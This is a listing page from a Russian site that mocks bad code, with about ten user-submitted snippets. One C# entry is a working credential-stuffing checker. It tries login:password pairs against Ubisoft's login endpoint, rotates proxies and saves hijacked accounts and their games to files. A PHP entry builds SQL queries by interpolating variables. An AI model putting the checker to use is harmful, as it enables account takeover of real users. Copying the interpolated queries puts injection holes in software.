1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #18498

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    char * hmod = (char *)GetModuleHandleW(L"msenv.dll");
    IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)hmod;
    IMAGE_NT_HEADERS *pNtHeaders = (IMAGE_NT_HEADERS *)(hmod + pDosHeader->e_lfanew);
    char *pcode = (hmod + pNtHeaders->OptionalHeader.BaseOfCode);
    char *ecode = (pcode + pNtHeaders->OptionalHeader.SizeOfCode);
    
    while (pcode < ecode - sizeof(int))
    {
        if((*(int *)pcode) == 0xFFFFDCB8 ||
           (*(int *)pcode) == 0xFFFFDC89 )
        {
            wchar_t buf[1024];
            wsprintfW(buf, L"%p\n", pcode);
            OutputDebugStringW(buf);
        }
        pcode++;
    }

    А как в студийном отладчике искать по памяти?

    Ccik, 20 Июля 2015

    Комментарии (0)
  3. PHP / Говнокод #18497

    +143

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    if (strlen($this->post['Name']) >= 3) {
        $p = preg_split('/\s+/', $name) + [' ', ' '];
        sort($p);
    
        $permutation = [$p[0], $p[1], $p[2], $p[0], $p[1], $p[0], $p[2], $p[1], $p[0]];
        $name = join(' ', $permutation);
    
        $list = Model_Students::searchStudentsByName($name, $facultyID, $gradeID, $groupID);
    }

    С ребятами запилили полнотекстовый поиск фио. Функция из модели — вызов MySQL процедуры.

    Реалия простая — MySQL не умеет в split, не умеет в переменное количество параметров, не умеет в нечёткий поиск. Выкручиваемся как можем.

    xamgore, 20 Июля 2015

    Комментарии (5)
  4. JavaScript / Говнокод #18496

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    if(touch){
    //				e.initUIEvent();
    				try{
    					var where=document.elementFromPoint(lastx,lasty);//Уфф...
    					//var t=obj_to_html(where);
    					//var t=obj_to_html(e.target.tagName||'no target');
    					//t+=obj_to_html(e.target.id||'no id');
    					//t+=obj_to_html(e.target.className||'no class');
    //					var t='';//=obj_to_html('no offsetXY');
    					//t+=obj_to_html(e.screenX||'no sX');
    					//t+=obj_to_html(e.screenY||'no sY');
    //					var touch = e.targetTouches[0];
    					// Place element where the finger is
    	//				t+=obj_to_html(lastx||'no lastX');
    	//				t+=obj_to_html(lasty||'no lastY');
    					//t+=obj_to_html(event.changedTouches[event.changedTouches.length-1].target.id||'no e id');
    					//t+=obj_to_html(event.changedTouches[event.changedTouches.length-1].target.tagName||'no e tag');
    //					t+=obj_to_html(event.changedTouches[event.changedTouches.length-1].target.className||'no e class');
    //					t+=obj_to_html(e.which.tagName||'el from offsetXY have no tag');
    //					t+=obj_to_html(e.which.id||'el from offsetXY have no id');
    //					t+=obj_to_html(document.elementFromPoint(lastx,lasty).id||'el from offsetXY have no id');
    					//t+=obj_to_html(document.elementFromPoint(lastx,lasty).tagName||'el from offsetXY have no tag');
    					//t+=obj_to_html(e.targetTouches||'no TT');
    					//t+=obj_to_html(e.touches||'no TT');
    		//			document.getElementById('debug').innerHTML+='Res:'+t;
    			//		return;
    //					t+=obj_to_html(e.targetTouches||'no touches');
    //					node_log(t);
    					//obj_to_html(e)+obj_to_html(where);
    				}catch(err){
    //					var t=obj_to_html(err);
    //					document.getElementById('debug').innerHTML+='Error:'+t;//obj_to_html(e)+obj_to_html(where);
    					document.getElementById('debug').innerHTML+='Error:'+err.message;
    //					node_log(t);
    					//obj_to_html(e)+obj_to_html(where);
    				}
    				//return;
    //				e = fixEvent(e);
    //				http://192.168.56.1:3000
    			//var where=e.target;//document.elementFromPoint(e.clientX,e.clientY);
    			}else{
    				e = fixEvent(e);
    				var where=document.elementFromPoint(e.clientX,e.clientY);
    			}
    //			document.getElementById('debug').innerHTML=obj_to_html(e)+obj_to_html(where);

    Небольшая история о том,что бы мы делали без console.log.

    Darth, 19 Июля 2015

    Комментарии (0)
  5. PHP / Говнокод #18491

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    function menu_config($tree,$parent)
    	{
    		$row=$this->phoenixDatabase->executeQuery("select * from ".$this->tableName."menu_config where website_menu_config_tree=$tree",$tree);
    		while ($row=$this->phoenixDatabase->getNextResult($tree))
    		{
    			$this -> content_menu_string_off[$tree][$row["website_menu_config_level"]]=stripslashes($this->phoenixDatabase->getResultAsStream("website_menu_config_off","from ".$this->tableName."menu_config where website_menu_config_tree=$tree and website_menu_config_id=".$row["website_menu_config_id"]));
    			$this -> content_menu_string_on[$tree][$row["website_menu_config_level"]]=stripslashes($this->phoenixDatabase->getResultAsStream("website_menu_config_on","from ".$this->tableName."menu_config where website_menu_config_tree=$tree and website_menu_config_id=".$row["website_menu_config_id"]));
    			$this -> content_menu_string_start[$tree][$row["website_menu_config_level"]]=stripslashes($this->phoenixDatabase->getResultAsStream("website_menu_config_start","from ".$this->tableName."menu_config where website_menu_config_tree=$tree and website_menu_config_id=".$row["website_menu_config_id"]));
    			$this -> content_menu_string_space[$tree][$row["website_menu_config_level"]]=stripslashes($this->phoenixDatabase->getResultAsStream("website_menu_config_space","from ".$this->tableName."menu_config where website_menu_config_tree=$tree and website_menu_config_id=".$row["website_menu_config_id"]));
    			$this -> content_menu_string_end[$tree][$row["website_menu_config_level"]]=stripslashes($this->phoenixDatabase->getResultAsStream("website_menu_config_end","from ".$this->tableName."menu_config where website_menu_config_tree=$tree and website_menu_config_id=".$row["website_menu_config_id"]));
    		}
    	}

    Какие-то манипуляции с меню сайта.

    kropotor, 17 Июля 2015

    Комментарии (0)
  6. C# / Говнокод #18482

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    public void probnik(string login, string pass)
            {
                EventHandler method = null;
                try
                {
                    string str = string.Empty;
                    int num = 0;
                    CookieCollection cookies = new CookieCollection();
                Label_0033:
                    try
                    {
                        IProxy proxy;
                        if (this.useproxy.Checked)
                        {
                            goto Label_00A2;
                        }
                        string str5 = "POST";
                        CookieCollection cookies3 = cookies;
                        str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str5, false, false, cookies3, null, new HTTPHeaderItem[0]).Headers);
                    Label_0089:
                        if (str.Contains("Set-Cookie") || (num == 1))
                        {
                            goto Label_011C;
                        }
                        num++;
                        goto Label_0033;
                    Label_00A2:
                        proxy = this.proxies[this.r.Next(this.proxies.Count)];
                        CookieCollection cookies2 = cookies;
                        string str4 = "POST";
                        str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str4, false, false, cookies2, proxy, new HTTPHeaderItem[0]).Headers);
                        goto Label_0089;
                    }
                    catch
                    {
                        goto Label_0033;
                    }
                Label_011C:
                    if (str.Contains("UBIAuth"))
                    {
                        if (method == null)
                        {
                            method = delegate(object sender, EventArgs e)
                            {
                                this.goodslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.goodslabel.Text) + 1));
                                File.AppendAllText(Program.time + "//UBI(в который зашел аккаунт).txt", login + ":" + pass + "\r\n");
                            };
                        } //смотрим какие игры
                        base.Invoke(method);
                        string str7 = "GET";
                        CookieCollection cookies4 = cookies;
                        HTTPHeaderItem[] additionalHeaders = new HTTPHeaderItem[] { 
                        new HTTPHeaderItem("X-Requested-With", "XMLHttpRequest"), 
                        new HTTPHeaderItem("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104")
                        };
                        string str3 = Convert.ToString(VkRequest.Request("http://uplay.ubi.com/en-GB/games/get-games/filterType/owned/filterValue/onlyOwned", (string)null, str7, false, false, cookies4, null, additionalHeaders).Content);
     
                        string games = string.Empty;
                        string platform = string.Empty;
     
                        if (str3.Contains("name"))
                        {
                            games = this.parse(str3, "\"g2wEnabled\":\"1\",\"name\":\"", "\"", "");
                            platform = parse(str3, "platforms\":", ",\"", "");
     
                            Invoke(new EventHandler(delegate
                            {
                                if (soundgood.Checked)
                                {
                                    System.Console.Beep(1000, 500);
                                }
                                int k = games.Split('\n').Count();
                                this.GridLog.Rows.Add(new object[] { login, pass, k.ToString() });
                                File.AppendAllText(Program.time + "//с игрой.txt", login + ":" + pass + "\r\n" + " ====Games====" + "\r\n" + games + "|" + platform + "\r\n" + " ==============" + "\r\n");
                                this.checks.Text = Convert.ToString((int)(Convert.ToInt32(this.checks.Text) + 1));
                            }));
                        }
                        else
                        {
                            Invoke(new EventHandler(delegate
                            {
                                this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
                            }));
                        }
     
     
                    }
                    else
                    {
                        Invoke(new EventHandler(delegate
                        {
                            this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
                        }));
                    }
                }
                catch
                {
                }
            }

    Отсылаем Get-запросы

    Psilon, 15 Июля 2015

    Комментарии (0)
  7. PHP / Говнокод #18480

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    class _mapMod extends _dummyMod {
        public static function info() {
            $info = parent::info();
            $info->name = 'Карта сайта';
            $info->version = '0.1.0';
            $info->description = 'Выводит все существующие ссылки на сайте';
            $info->allowedParent = '*';
            $info->allowedChild = FALSE;
            $info->unique = TRUE;
            $info->readTemplate = '_map/read';
            return $info;
        }
        public function read() {
            global $_sql;
            $tree = new _tree;
            $root = $_sql->_tree->read1('_level = 0');
            $map = $tree->sortTree($tree->subChilds($root['id']));
            // отразим уровень вложенности
            foreach($map as $k=>$v) $map[$k]['star'] = str_repeat('&nbsp;&nbsp;&nbsp;&nbsp;',$map[$k]['_level']-$me['_level']-1);
            view::say('map', $map);
            //
            view::templ($this->info()->readTemplate);
        }
    }

    Это типа контроллер.

    Понабирают блять по объявлению.

    Aios, 15 Июля 2015

    Комментарии (0)
  8. JavaScript / Говнокод #18473

    +143

    1. 1
    2. 2
    container.append(renderer.domElement);
         container.find('canvas').attr('id', 'mCanvas');

    меня часто минусуют тут, но всё же рискну запостить этот самородок из мира threejs

    makc3d, 13 Июля 2015

    Комментарии (0)
  9. Куча / Говнокод #18463

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    ...
    
    <div class="y">
          	<p>
            <center>
                    <h3><strong> ... </strong><img src="..." alt="...">
              </h3>
            </center>
    
    <div class="x">
              <li class="x"><a href="..." title="..."> ...</a> ...; <br>
              <li class="x"><a href="..." title="...">...</a>; <br>
              <li class="x"><a href="..." title="...">...</a>; <br>
              <li class="x">...;<br>
              <li class="x"> ...;<br>
              <li class="x"><a href="..." title="...">...</a>. </p>
            </div>
    
    ...
    <!-- еще три таких блока ->
    </div>
    
    ...

    html гуру какой-то, явно

    username255, 10 Июля 2015

    Комментарии (0)
  10. Куча / Говнокод #18449

    +143

    1. 1
    https://github.com/lhartikk/ArnoldC

    LispGovno, 08 Июля 2015

    Комментарии (7)
  11. JavaScript / Говнокод #18422

    +143

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    if($scope.model.table){ 
    
                if($scope.model.table.cells == null){
                    if($scope.model.table.cols){
                        $scope.model.table.cells = $scope.model.table.cols;
                    }
                }
                if($scope.model.table.heads && $scope.model.table.cols == null){
                    $scope.model.table.cols = [];
                    $scope.model.table.heads.forEach(function(head){
                        $scope.model.table.cols.push({head:head});
                    });
                    $scope.model.table.cells.forEach(function(cell, i){
                        $scope.model.table.cols[i] = {cell:cell};
                    });
                }
            }

    Andruxa, 30 Июня 2015

    Комментарии (0)